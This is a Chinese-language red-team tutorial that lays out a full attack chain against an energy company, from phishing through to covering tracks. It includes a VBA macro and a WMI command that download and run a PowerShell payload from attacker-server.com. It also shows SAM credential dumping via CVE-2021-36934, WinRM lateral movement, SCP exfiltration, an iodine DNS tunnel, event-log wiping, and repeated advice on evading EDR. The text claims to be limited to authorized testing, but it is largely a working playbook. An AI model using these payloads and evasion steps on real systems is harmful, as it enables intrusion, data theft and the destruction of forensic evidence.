一、震惊全球的勒索软件攻击:背后的红队操作手法

2023年年初,一起针对某国际能源企业的勒索软件攻击震惊了整个网络安全行业。攻击者通过精心设计的钓鱼邮件,成功入侵了企业内部网络,并完成了权限提升与数据加密。更令人不安的是,攻击者的攻击链堪称“完美无痕”,不仅绕过了EDR检测,还迅速销毁了痕迹。这起事件暴露了现代红队攻击的复杂性与隐匿性,为安全团队敲响了警钟。
如果换作是我参与这次攻击,我会如何设计一条完整的攻击链?本文将以红队视角拆解类似攻击场景,展示从信息收集到权限维持的技巧,帮助安全研究人员更深入理解红队攻防演练的技术细节。文章仅限授权测试之用,切勿将技术用于非法用途。
---
二、0x01 深度定制化钓鱼攻击的设计
攻击原理与目标选择
钓鱼邮件是许多红队演练中用于初始接触目标的经典手法,但普通的钓鱼邮件往往会被安全网关拦截。为了提高邮件的成功率,我倾向于采用深度定制化的攻击策略,结合OSINT(开放源情报)和社交工程,针对特定目标设计感染链。
例如,如果目标是一家能源公司,我会通过以下途径收集情报:
- 公开文档:如目标公司发布的PDF文件,提取其中的元数据,获取潜在联系人。
- 社交媒体:LinkedIn、Twitter等,了解员工职位、兴趣,以及可能的工作流程。
- 子域名挖掘:枚举目标公司的外部资产,寻找可能承载内部流程的Web系统。
这一阶段的目标是找到最“可信”的攻击媒介,比如一封HR发给员工的“晋升通知”,或是供应商邮件中的“合同修订文档”。
实战Payload构造
假设我们的目标是通过邮件附件投递恶意代码(后文称之为Payload),为了绕过邮件网关,我们需要使用某种免杀技巧,例如:
- 微软宏文档:通过恶意VBA代码实现Payload加载。
- 嵌套压缩文件:使用多层压缩格式(如RAR+ZIP)隐藏恶意代码。
- 文件格式伪装:将可执行文件伪装成PDF或图片。
以下是一个利用VBA宏的Payload示例,目标是通过WScript下载并执行后门程序:
<pre><code class="language-vbnet">Sub Auto_Open() Dim cmd As String cmd = "cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://attacker-server.com/payload.ps1')""" Shell cmd, vbHide End Sub</code></pre>
绕过技巧:
- 将宏代码加密保存到Excel中,并设置密码保护。
- 利用混淆工具对代码中的关键函数进行随机化,例如将
cmd.exe替换为Base64编码的形式。
---
三、0x02 权限提升与横向移动的艺术
初始落脚点与权限提升
在钓鱼攻击成功后,攻击者往往会获得一个普通用户权限的Shell。而这一权限远远不够完成攻击链的后续步骤,因此我们需要快速寻找权限提升的机会。
一次有效的权限提升通常依赖以下条件:
- 操作系统漏洞:如CVE-2021-36934(HiveNightmare),攻击者可利用系统错误配置访问SAM文件。
- 配置错误:如密码以明文存储在应用配置文件中。
- 内存提取:通过访问高权限进程的内存区域抓取凭据。
以下是一个基于操作系统漏洞的权限提升案例,在Windows系统中利用CVE-2021-36934提权:
<pre><code class="language-shell"># 使用icacls查看SAM文件是否可读 icacls C:\Windows\System32\config\SAM
如果文件对当前用户开放读取权限,则复制SAM文件
copy C:\Windows\System32\config\SAM C:\Users\Public\SAM_copy
使用secretsdump提取本地管理员凭据
python3 secretsdump.py -sam SAM_copy -system SYSTEM_copy LOCAL</code></pre>
绕过技巧:权限提升操作通常会触发EDR报警,为避免检测,可以使用手动编译的工具,移除特征函数调用。此外,也可尝试在隔离网络环境(如虚拟机中)执行提权操作。

横向移动:WinRM与WMI的结合
权限提升成功后,通常需要在内网中横向移动,寻找更高价值的目标。以下是一个使用WinRM与WMI实现横向移动的案例:
<pre><code class="language-ruby">require 'winrm'
连接目标主机
conn = WinRM::Connection.new( endpoint: 'http://target-ip:5985/wsman', user: 'Administrator', password: 'password123' )
执行命令
conn.shell(:powershell) do |shell| output = shell.run('hostname') puts "Command output: #{output.stdout}" end</code></pre>
利用WMI执行Payload: <pre><code class="language-shell">wmic /node:TARGET_HOST process call create "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker-server.com/payload.ps1')"</code></pre>
免杀技巧:WinRM与WMI的操作可以通过伪装为合法的管理操作来避开检测。例如,将恶意Payload嵌入到合法的PowerShell脚本中,并对脚本变量名与函数名进行混淆。
---
四、0x03 数据窃取与隐匿流量
高效的数据窃取方式
完成横向移动之后,我们的目标是窃取关键数据。对于能源企业,常见的目标包括客户合同、研究文档、财务记录等。以下是一些高效的数据窃取方式:
- 文件共享:枚举内网的文件共享目录,并直接下载目标文件。
- 数据库导出:通过SQL查询导出敏感数据。
- 屏幕抓取:截取管理员会话的屏幕内容。
下面是一个通过Ruby编写的SCP脚本,用于将文件从目标服务器传输到攻击者控制的服务器:
<pre><code class="language-ruby">require 'net/scp'
Net::SCP.start('target-ip', 'username', password: 'password123') do |scp|
从目标主机下载文件
scp.download!('/path/to/target/file.txt', './local_copy.txt') end</code></pre>
隐匿流量:DNS隧道
为了避免数据传输被安全设备监控,可以使用DNS隧道技术,将数据嵌入到DNS查询中:
<pre><code class="language-shell"># 使用iodine搭建DNS隧道服务端 iodined -f -c -P attacker_password 10.0.0.1 dns.attacker-domain.com
在受害主机上连接DNS隧道
iodine -f -P attacker_password dns.attacker-domain.com</code></pre>
数据传输通过DNS流量伪装,绕过了传统的流量检测规则。
---
五、0x04 反取证与痕迹清除

最后一步是清除攻击痕迹,确保无法被追踪。以下是一些常用的反取证技巧:
- 日志清理:删除系统事件日志和应用日志。
- 时间篡改:修改文件的时间戳,伪造文件创建时间。
- 进程隐匿:使用Rootkit隐藏恶意进程。
以下是一个基于PowerShell的日志清理脚本:
<pre><code class="language-powershell"># 清除系统日志 wevtutil cl System wevtutil cl Security wevtutil cl Application
删除最近的文件操作记录
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU" -Name *</code></pre>
必须注意,清理日志可能会触发安全设备的异常检测,因此建议仅在攻击结束后执行。
---
六、个人经验总结
红队攻防演练是一项需要技术、策略与耐心的工作。在实战中,攻击者需要充分利用目标的漏洞和环境配置,同时尽量减少操作的痕迹。以下是我的一些建议:
- 深入了解目标环境:不同的企业有不同的防御机制,了解目标的安全架构是成功的关键。
- 工具自定义:尽量使用自写工具,避免触发防御设备的签名规则。
- 反侦察操作:注意隐藏C2基础设施,避免被蓝队反制。
希望本文的技术分享能为你的红队演练提供新的思路,同时也呼吁大家依法、合规地开展安全研究工作。